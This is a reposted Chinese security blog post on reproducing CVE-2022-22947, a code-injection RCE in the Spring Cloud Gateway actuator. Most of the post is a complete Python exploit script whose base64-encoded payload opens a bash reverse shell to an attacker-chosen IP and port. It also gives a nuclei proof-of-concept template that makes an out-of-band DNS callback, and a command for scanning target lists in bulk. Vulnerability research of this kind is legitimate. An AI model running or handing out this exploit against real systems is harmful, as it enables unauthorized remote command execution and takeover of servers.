CVE-2022-22947 Spring Cloud Gateway RCE

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCE

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

SpringCloudGateway提供了一个库,用于在SpringWebFlux之上构建API网关。在3.1.0和3.0.6之前的版本中使用SpringCloudGateway的应用程序在启用、暴露和不安全的GatewayActuator端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。

图片[1]-CVE-2022-22947 Spring Cloud Gateway RCE-安全小天地

0x03 漏洞复现

漏洞影响: 

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7
  • Spring Cloud Gateway 其他已不再更新的版本

1.使用rce脚本进行反弹shell,nc监听得到一个shell

脚本地址:
https://github.com/aodsec/CVE-2022-22947

命令:
python3 CVE-2022-22947.py http://目标地址 反弹IP 反弹端口

脚本:
import requests
import json
import base64
import re
import random
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def generate_random_str(randomlength=16):
  random_str = \'\'
  base_str = \'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz\'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

new_str = generate_random_str()

payload1 = \'/actuator/gateway/routes/\'+new_str
payload2 = \'/actuator/gateway/refresh\'
payload3 = \'/actuator/gateway/routes/\'+new_str
headers = {
    \'Accept-Encoding\': \'gzip, deflate\',
    \'Accept\': \'*/*\',
    \'Accept-Language\': \'en\',
    \'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\',
    \'Connection\': \'close\',
    \'Content-Type\': \'application/json\'
}
proxies = {
    \'http\': \'http://192.168.1.119:8080\'
}


data = \'eyAiaWQiOiAiYW9kU0VDIiwgImZpbHRlcnMiOiBbeyAibmFtZSI6ICJBZGRSZXNwb25zZUhlYWRlciIsICJhcmdzIjogeyAibmFtZSI6ICJSZXN1bHQiLCAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ==\'
shell = \'eyAiaWQiOiAiYW9kU0VDIiwgImZpbHRlcnMiOiBbeyAibmFtZSI6ICJBZGRSZXNwb25zZUhlYWRlciIsICJhcmdzIjogeyAibmFtZSI6ICJSZXN1bHQiLCAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiL2Jpbi9iYXNoXCIsXCItY1wiLFwiYmFzaCAtaSA+JiAvZGV2L3RjcC9MX0lQL0xfUE9SVCAwPiYxXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ==\'
data1 = {
    \'Upgrade-Insecure-Requests\': \'1\',
    \'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36\',
    \'Accept\': \'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\',
    \'Accept-Encoding\': \'gzip, deflate\',
    \'Accept-Language\': \'zh-CN,zh;q=0.9\',
    \'Connection\': \'close\',
    \'Content-Type\': \'application/x-www-form-urlencoded\',
    \'Content-Length\': \'0\'
}

def exec(url,cmd):
    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace(\'Cmd\',cmd).replace(\'aodSEC\',new_str),verify=False,timeout=5)
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r\'Result = [\\\'\"]?([^\\\'\" )]+)\', a)
    print(exec)

def exec_shell(url,l_ip,l_port):
    requests.post(url+payload1,headers=headers,data=base64.b64decode(shell).decode().replace(\'L_IP\',l_ip).replace(\'L_PORT\',l_port).replace(\'aodSEC\',new_str),verify=False,timeout=5)
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r\'Result = [\\\'\"]?([^\\\'\" )]+)\', a)
    print(exec)

if __name__ == \'__main__\':
    if len(sys.argv)==3:
        url = sys.argv[1]
        cmd = sys.argv[2]
        exec(url,cmd)
    elif len(sys.argv)==4:
        url =  sys.argv[1]
        l_ip =  sys.argv[2]
        l_port =  sys.argv[3]
        try:
            exec_shell(url,l_ip,l_port)
        except:
            print(\"done!!!\")
    else:
        print(\'+-------------------------------------------------------------------+\')
        print(\'+-------------------------------------------------------------------+\')
        print(\'+ USE: python3 CVE-2022-22947.py url whoami                         +\')
        print(\'+ USE: python3 CVE-2022-22947.py url l_ip l_port                    +\')
        print(\'+-------------------------------------------------------------------+\')
        sys.exit()

2.nuclei已经集成该漏洞脚本(nuclei稳定快,编写poc简单,有社区维护,推荐使用)

nuclei下载地址:https://github.com/projectdiscovery/nuclei

批量验证命令:
nuclei.exe -t cves/2022/CVE-2022-22947.yaml -l subs.txt

yaml POC:
id: CVE-2022-22947

info:
  name: Spring Cloud Gateway Code Injection
  author: pdteam
  severity: critical
  description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22947
    - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
    - https://github.com/wdahlenburg/spring-gateway-demo
    - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
    - https://tanzu.vmware.com/security/cve-2022-22947
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-22947
    cwe-id: CWE-94
  tags: cve,cve2022,apache,spring,vmware,actuator,oast

requests:
  - raw:
      - |
        POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          \"predicates\": [
            {
              \"name\": \"Path\",
              \"args\": {
                \"_genkey_0\": \"/{{randstr}}/**\"
              }
            }
          ],
          \"filters\": [
            {
              \"name\": \"RewritePath\",
              \"args\": {
                \"_genkey_0\": \"#{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")}\",
                \"_genkey_1\": \"/${path}\"
              }
            }
          ],
          \"uri\": \"{{RootURL}}\",
          \"order\": 0
        }

      - |
        POST /actuator/gateway/refresh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          \"predicate\": \"Paths: [/{{randstr}}], match trailing slash: true\",
          \"route_id\": \"{{randstr}}\",
          \"filters\": [
            \"[[RewritePath #{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")} = /${path}], order = 1]\"
          ],
          \"uri\": \"{{RootURL}}\",
          \"order\": 0
        }

      - |
        DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 201

      - type: word
        part: header
        words:
          - \"/routes/{{randstr}}\"

      - type: word
        part: interactsh_protocol
        words:
          - \"dns\"

# Enhanced by mp on 2022/03/08
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容